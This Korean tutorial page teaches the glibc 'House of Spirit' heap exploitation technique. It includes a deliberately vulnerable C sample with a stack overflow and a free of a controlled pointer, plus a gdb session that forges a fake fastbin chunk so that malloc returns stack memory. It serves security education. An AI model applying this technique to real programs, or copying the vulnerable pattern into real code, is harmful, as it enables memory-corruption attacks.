Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List

The House of Spirit

Conditions

  • 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
    • 공격자에 의해 Allocated Fake chunk(FastBin) 형태를 생성할 수 있어야 합니다.
    • 공격자에 의해 해당 영역(Fake chunk)의 주소를 Free() 함수의 인자 값으로 전달할 수 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • Stack 영역에 Fake chunk(FastBin) 구조를 저장합니다.
    • Free()함수의 인자 값으로 Fake chunk의 주소를 전달합니다.
    • Fake chunk(FastBin)의 크기와 같은 크기의 Heap영역을 할당 받습니다.
      • 이때 할당 받은 영역은 Fake chunk(FastBin) 영역입니다.

Example

Files

Source code

Sample code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main(){
	unsigned long *ptr;
	char fakeChunk[160];

	printf("fakeChunk : %p\n",fakeChunk);
	printf("ptr : %p\n",&ptr);

	scanf("%176s",fakeChunk);

	malloc(1000);

	free(ptr);

	char *stack = malloc(0x70);
	char *test1 = malloc(0x70);
	char *test2 = malloc(0x500);

	printf("Stack : %p\n",stack);
}

Exploit flow

The House of Spirit

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x40067b - scanf() 함수 호출

    • 0x400691 - free() 함수 호출

    • 0x40069b - malloc() 함수 호출

Break points
gdb-peda$ b *0x000000000040067b
Breakpoint 1 at 0x40067b
gdb-peda$ b *0x0000000000400691
Breakpoint 2 at 0x400691
gdb-peda$ b *0x000000000040069b
Breakpoint 3 at 0x40069b
  • 아래와 같이 Stack 영역에 값을 입력 할 수 있습니다.
    • 입력 값으로 'A' * 160 + 'B'  * 8개를 입력했습니다.
Write the stack
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/heap/spirit 
fakeChunk : 0x7fffffffe1c0
ptr : 0x7fffffffe260
Breakpoint 1, 0x000000000040067b in main ()
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe1d0:	0x0000000000000000	0x0000000000000000
0x7fffffffe1e0:	0x0000000000000000	0x00007ffff7ffe520
0x7fffffffe1f0:	0x00007fffffffe220	0x00007fffffffe210
0x7fffffffe200:	0x00000000f63d4e2e	0x0000000000400388
0x7fffffffe210:	0x00000000ffffffff	0x00007fffffffe378
0x7fffffffe220:	0x00007ffff7a211f8	0x00007ffff7ff74c0
0x7fffffffe230:	0x00007ffff7ffe1c8	0x0000000000000000
0x7fffffffe240:	0x0000000000000001	0x000000000040071d
0x7fffffffe250:	0x00007fffffffe280	0x0000000000000000
0x7fffffffe260:	0x00000000004006d0	0x0000000000400540
gdb-peda$ ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
  • 아래와 같이 스택영역에 임의의 값을 저장할 수 있음을 확인인했습니다.
    • gdb의 set 명령어를 이용해 Fake chunk 생성과 ptr영역의 값을 변경 합니다.
      • Fake chunk 영역(0x7fffffffe1c0 ~ 0x7fffffffe248) : Chunk size - 0x70, Top chunk - 0x1000

      • ptr 영역(0x7fffffffe260) : 0x00007fffffffe1d0
Overwrite the fake chunk
0x0000000000400680 in main ()
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe200:	0x4141414141414141	0x4141414141414141
0x7fffffffe210:	0x4141414141414141	0x4141414141414141
0x7fffffffe220:	0x4141414141414141	0x4141414141414141
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x4141414141414141	0x4141414141414141
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x4242424242424242	0x0000000000400500
gdb-peda$ set *0x7fffffffe1c8 = 0x80
gdb-peda$ set *0x7fffffffe1cc = 0x0
gdb-peda$ set *0x7fffffffe248 = 0x10000
gdb-peda$ set *0x7fffffffe24c = 0x0
gdb-peda$ set *0x7fffffffe260 = 0x7fffffffe1d0
gdb-peda$ set *0x7fffffffe264 = 0x7fff
gdb-peda$ x/22gx 0x7fffffffe1c0
0x7fffffffe1c0:	0x4141414141414141	0x0000000000000080
0x7fffffffe1d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe200:	0x4141414141414141	0x4141414141414141
0x7fffffffe210:	0x4141414141414141	0x4141414141414141
0x7fffffffe220:	0x4141414141414141	0x4141414141414141
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x4141414141414141	0x0000000000010000
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x00007fffffffe1d0	0x0000000000400500
gdb-peda$
  • 아래와 같이 Fake chunk영역이 해제되어 해당 chunk가 "fastbinsY"에 등록되었습니다.
    • "fastbinsY"에 등록된 fake chunk의 크기와 같은 값을 malloc()함수의 인자 값으로 전달 합니다.(malloc(0x70))
    • malloc(0x70) 호출에 의해 fake chunk영역을 재할당 받았습니다.
    • 그 다음 malloc() 호출해서 할당받은 영역은 정상적으로 Heap 영역에 할당되었습니다.
Allocated the fake chunk
Breakpoint 2, 0x0000000000400691 in main ()
gdb-peda$ i r rdi
rdi            0x7fffffffe1d0	0x7fffffffe1d0
gdb-peda$ p main_arena.fastbinsY 
$3 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni


0x0000000000400696 in main ()
gdb-peda$ p main_arena.fastbinsY 
$4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe1c0, 0x0, 0x0, 0x0} 
gdb-peda$ c
Breakpoint 3, 0x000000000040069b in main ()
gdb-peda$ ni
0x00000000004006a0 in main ()
gdb-peda$ i r rax
rax            0x7fffffffe1d0	0x7fffffffe1d0
gdb-peda$ x/16gx 0x7fffffffe1d0
0x7fffffffe1d0:	0x0000000000000000	0x4141414141414141
0x7fffffffe1e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe200:	0x4141414141414141	0x4141414141414141
0x7fffffffe210:	0x4141414141414141	0x4141414141414141
0x7fffffffe220:	0x4141414141414141	0x4141414141414141
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x4141414141414141	0x0000000000010000
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
...
gdb-peda$ i r rax
rax            0x602400	0x602400
gdb-peda$ 

Related information